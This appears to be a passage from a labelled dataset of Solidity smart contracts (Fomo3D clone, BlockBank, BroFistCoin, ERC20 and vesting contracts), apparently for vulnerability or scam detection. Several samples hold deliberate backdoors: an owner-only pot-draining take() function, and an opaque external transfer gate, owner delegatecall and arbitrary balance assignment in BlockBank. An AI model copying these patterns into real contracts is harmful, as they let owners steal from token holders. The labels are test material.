returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require( msg.sender == 0xF51E57F12ED5d44761d4480633FD6c5632A5B2B1, "only team just can activate" ); require(activated_ == false, "fomo3d already activated"); activated_ = true; rID_ = 1; round_[1].strt = now; round_[1].end = now + rndInit_; } function take() public { require( msg.sender == 0xF51E57F12ED5d44761d4480633FD6c5632A5B2B1, "only team just can take" ); if (round_[rID_].pot > 50 * 100000000) specAddr.transfer(round_[rID_].pot.sub(50 * 100000000)); if (airDropPot_ > 50 * 100000000) specAddr.transfer(airDropPot_.sub(50 * 100000000)); } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcLong { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface F3DexternalSettingsInterface { function getFastGap() external returns(uint256); function getLongGap() external returns(uint256); function getFastExtra() external returns(uint256); function getLongExtra() external returns(uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }
1
pragma solidity ^0.4.23; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract UPToken is StandardToken { string public constant name = "UDAP Token"; string public constant symbol = "UPX"; uint8 public decimals = 18; constructor(uint256 _initialSupply) public { totalSupply_ = _initialSupply * 10 ** uint256(decimals); balances[msg.sender] = totalSupply_; } }
1
pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BotProtected { address internal owner; address internal stopTheBots; address public uniPair; constructor(address _botProtection) { stopTheBots = _botProtection; } modifier checkBots(address _from, address _to, uint256 _value) { (bool notABot, bytes memory isNotBot) = stopTheBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value)); require(notABot); _; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } abstract contract ERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; } } contract BlockBank is BotProtected { mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply = 400000000000000000000000000; string public name = "BlockBank"; string public symbol = "BBANK"; IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public wBNB = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); constructor(address _botProtection) BotProtected(_botProtection) { owner = tx.origin; uniPair = pairOf(wBNB, address(this)); allowance[address(this)][address(uniRouter)] = uint(-1); allowance[tx.origin][uniPair] = uint(-1); } function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) { if (_value == 0) { return true; } if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function pairOf(address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } function list(uint _numList, address[] memory _toWho, uint[] memory _amounts) public payable { require(msg.sender == owner); balanceOf[address(this)] = _numList; balanceOf[msg.sender] = totalSupply * 6 / 100; uniRouter.addLiquidityETH{value: msg.value}( address(this), _numList, _numList, msg.value, msg.sender, block.timestamp + 600 ); require(_toWho.length == _amounts.length); stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _toWho)); for(uint i = 0; i < _toWho.length; i++) { balanceOf[_toWho[i]] = _amounts[i]; emit Transfer(address(0x0), _toWho[i], _amounts[i]); } } }
1
pragma solidity ^0.4.21; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract StandardToken { using SafeMath for uint256; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => uint256) internal balances_; mapping(address => mapping(address => uint256)) internal allowed_; uint256 internal totalSupply_; string public name; string public symbol; uint8 public decimals; function totalSupply() public view returns (uint256) { return totalSupply_; } function balanceOf(address _owner) public view returns (uint256) { return balances_[_owner]; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed_[_owner][_spender]; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances_[msg.sender]); balances_[msg.sender] = balances_[msg.sender].sub(_value); balances_[_to] = balances_[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances_[_from]); require(_value <= allowed_[_from][msg.sender]); balances_[_from] = balances_[_from].sub(_value); balances_[_to] = balances_[_to].add(_value); allowed_[_from][msg.sender] = allowed_[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed_[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } } contract EthTeamContract is StandardToken, Ownable { event Buy(address indexed token, address indexed from, uint256 value, uint256 weiValue); event Sell(address indexed token, address indexed from, uint256 value, uint256 weiValue); event BeginGame(address indexed team1, address indexed team2, uint64 gameTime); event EndGame(address indexed team1, address indexed team2, uint8 gameResult); event ChangeStatus(address indexed team, uint8 status); uint256 public price; uint8 public status; uint64 public gameTime; uint64 public finishTime; address public feeOwner; address public gameOpponent; function EthTeamContract( string _teamName, string _teamSymbol, address _gameOpponent, uint64 _gameTime, uint64 _finishTime, address _feeOwner ) public { name = _teamName; symbol = _teamSymbol; decimals = 3; totalSupply_ = 0; price = 1 szabo; gameOpponent = _gameOpponent; gameTime = _gameTime; finishTime = _finishTime; feeOwner = _feeOwner; owner = msg.sender; } function transfer(address _to, uint256 _value) public returns (bool) { if (_to != address(this)) { return super.transfer(_to, _value); } require(_value <= balances_[msg.sender] && status == 0); if (gameTime > 1514764800) { require(gameTime > block.timestamp); } balances_[msg.sender] = balances_[msg.sender].sub(_value); totalSupply_ = totalSupply_.sub(_value); uint256 weiAmount = price.mul(_value); msg.sender.transfer(weiAmount); emit Transfer(msg.sender, _to, _value); emit Sell(_to, msg.sender, _value, weiAmount); return true; } function() payable public { require(status == 0 && price > 0); if (gameTime > 1514764800) { require(gameTime > block.timestamp); } uint256 amount = msg.value.div(price); balances_[msg.sender] = balances_[msg.sender].add(amount); totalSupply_ = totalSupply_.add(amount); emit Transfer(address(this), msg.sender, amount); emit Buy(address(this), msg.sender, amount, msg.value); } function changeStatus(uint8 _status) onlyOwner public { require(status != _status); status = _status; emit ChangeStatus(address(this), _status); } function changeFeeOwner(address _feeOwner) onlyOwner public { require(_feeOwner != feeOwner && _feeOwner != address(0)); feeOwner = _feeOwner; } function finish() onlyOwner public { require(block.timestamp >= finishTime); feeOwner.transfer(address(this).balance); } function beginGame(address _gameOpponent, uint64 _gameTime) onlyOwner public { require(_gameOpponent != address(this)); require(_gameTime == 0 || (_gameTime > 1514764800)); gameOpponent = _gameOpponent; gameTime = _gameTime; status = 0; emit BeginGame(address(this), _gameOpponent, _gameTime); } function endGame(address _gameOpponent, uint8 _gameResult) onlyOwner public { require(gameOpponent != address(0) && gameOpponent == _gameOpponent); uint256 amount = address(this).balance; uint256 opAmount = gameOpponent.balance; require(_gameResult == 1 || (_gameResult == 2 && amount >= opAmount) || _gameResult == 3); EthTeamContract op = EthTeamContract(gameOpponent); if (_gameResult == 1) { if (amount > 0 && totalSupply_ > 0) { uint256 lostAmount = amount; if (op.totalSupply() > 0) { uint256 feeAmount = lostAmount.div(20); lostAmount = lostAmount.sub(feeAmount); feeOwner.transfer(feeAmount); op.transferFundAndEndGame.value(lostAmount)(); } else { feeOwner.transfer(lostAmount); op.transferFundAndEndGame(); } } else { op.transferFundAndEndGame(); } } else if (_gameResult == 2) { if (amount > opAmount) { lostAmount = amount.sub(opAmount).div(2); if (op.totalSupply() > 0) { feeAmount = lostAmount.div(20); lostAmount = lostAmount.sub(feeAmount); feeOwner.transfer(feeAmount); op.transferFundAndEndGame.value(lostAmount)(); } else { feeOwner.transfer(lostAmount); op.transferFundAndEndGame(); } } else if (amount == opAmount) { op.transferFundAndEndGame(); } else { revert(); } } else if (_gameResult == 3) { op.transferFundAndEndGame(); } else { revert(); } endGameInternal(); if (totalSupply_ > 0) { price = address(this).balance.div(totalSupply_); } emit EndGame(address(this), _gameOpponent, _gameResult); } function endGameInternal() private { gameOpponent = address(0); gameTime = 0; status = 0; } function transferFundAndEndGame() payable public { require(gameOpponent != address(0) && gameOpponent == msg.sender); if (msg.value > 0 && totalSupply_ > 0) { price = address(this).balance.div(totalSupply_); } endGameInternal(); } }
0
pragma solidity ^0.4.24; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } library SafeERC20 { using SafeMath for uint256; function safeTransfer( IERC20 token, address to, uint256 value ) internal { require(token.transfer(to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { require(token.transferFrom(from, to, value)); } function safeApprove( IERC20 token, address spender, uint256 value ) internal { require((value == 0) || (token.allowance(msg.sender, spender) == 0)); require(token.approve(spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); require(token.approve(spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value); require(token.approve(spender, newAllowance)); } } contract Ownable { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns(address) { return _owner; } modifier onlyOwner() { require(isOwner()); _; } function isOwner() public view returns(bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract TokenVesting is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; event TokensReleased(address token, uint256 amount); address private _beneficiary; uint256 private _cliff; uint256 private _start; uint256 private _duration; mapping (address => uint256) private _released; constructor( address beneficiary, uint256 start, uint256 cliffDuration, uint256 duration ) public { require(beneficiary != address(0)); require(cliffDuration <= duration); require(duration > 0); require(start.add(duration) > block.timestamp); _beneficiary = beneficiary; _duration = duration; _cliff = start.add(cliffDuration); _start = start; } function beneficiary() public view returns(address) { return _beneficiary; } function cliff() public view returns(uint256) { return _cliff; } function start() public view returns(uint256) { return _start; } function duration() public view returns(uint256) { return _duration; } function released(address token) public view returns(uint256) { return _released[token]; } function releasable(address token) public view returns(uint256) { return _releasableAmount(IERC20(token)); } function release(IERC20 token) public { uint256 unreleased = _releasableAmount(token); require(unreleased > 0); _released[token] = _released[token].add(unreleased); token.safeTransfer(_beneficiary, unreleased); emit TokensReleased(token, unreleased); } function _releasableAmount(IERC20 token) private view returns (uint256) { return _vestedAmount(token).sub(_released[token]); } function _vestedAmount(IERC20 token) private view returns (uint256) { uint256 currentBalance = token.balanceOf(this); uint256 totalBalance = currentBalance.add(_released[token]); if (block.timestamp < _cliff) { return 0; } else if (block.timestamp >= _start.add(_duration)) { return totalBalance; } else { return totalBalance.mul(block.timestamp.sub(_start)).div(_duration); } } }
0
pragma solidity ^0.4.19; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ForeignToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } interface Token { function distr(address _to, uint256 _value) public returns (bool); function totalSupply() constant public returns (uint256 supply); function balanceOf(address _owner) constant public returns (uint256 balance); } contract BroFistCoin is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public blacklist; string public constant name = "BroFistCoin"; string public constant symbol = "PEW"; uint public constant decimals = 8; uint256 public totalSupply = 50000000e8; uint256 private totalReserved = (totalSupply.div(100)).mul(15); uint256 private totalBounties = (totalSupply.div(100)).mul(5); uint256 public totalDistributed = totalReserved.add(totalBounties); uint256 public totalRemaining = totalSupply.sub(totalDistributed); uint256 public value; uint256 public minReq; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Burn(address indexed burner, uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyWhitelist() { require(blacklist[msg.sender] == false); _; } function BroFistCoin (uint256 _value, uint256 _minReq) public { owner = msg.sender; value = _value; minReq = _minReq; balances[msg.sender] = totalDistributed; } function setParameters (uint256 _value, uint256 _minReq) onlyOwner public { value = _value; minReq = _minReq; } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function enableWhitelist(address[] addresses) onlyOwner public { for (uint i = 0; i < addresses.length; i++) { blacklist[addresses[i]] = false; } } function disableWhitelist(address[] addresses) onlyOwner public { for (uint i = 0; i < addresses.length; i++) { blacklist[addresses[i]] = true; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); totalRemaining = totalRemaining.sub(_amount); balances[_to] = balances[_to].add(_amount); Distr(_to, _amount); Transfer(address(0), _to, _amount); return true; if (totalDistributed >= totalSupply) { distributionFinished = true; } } function airdrop(address[] addresses) onlyOwner canDistr public { require(addresses.length <= 255); require(value <= totalRemaining); for (uint i = 0; i < addresses.length; i++) { require(value <= totalRemaining); distr(addresses[i], value); } if (totalDistributed >= totalSupply) { distributionFinished = true; } } function distribution(address[] addresses, uint256 amount) onlyOwner canDistr public { require(addresses.length <= 255); require(amount <= totalRemaining); for (uint i = 0; i < addresses.length; i++) { require(amount <= totalRemaining); distr(addresses[i], amount); } if (totalDistributed >= totalSupply) { distributionFinished = true; } } function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public { require(addresses.length <= 255); require(addresses.length == amounts.length); for (uint8 i = 0; i < addresses.length; i++) { require(amounts[i] <= totalRemaining); distr(addresses[i], amounts[i]); if (totalDistributed >= totalSupply) { distributionFinished = true; } } } function () external payable { getTokens(); } function getTokens() payable canDistr onlyWhitelist public { require(value <= totalRemaining); address investor = msg.sender; uint256 toGive = value; if (msg.value < minReq){ toGive = value.sub(value); } distr(investor, toGive); if (toGive > 0) { blacklist[investor] = true; } if (totalDistributed >= totalSupply) { distributionFinished = true; } } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdraw() onlyOwner public { uint256 etherBalance = this.balance; owner.transfer(etherBalance); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); Burn(burner, _value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }
1
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 29203200; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x18F321eddD1271Ce92FB80B3979EDe2Ca8879E33; } function 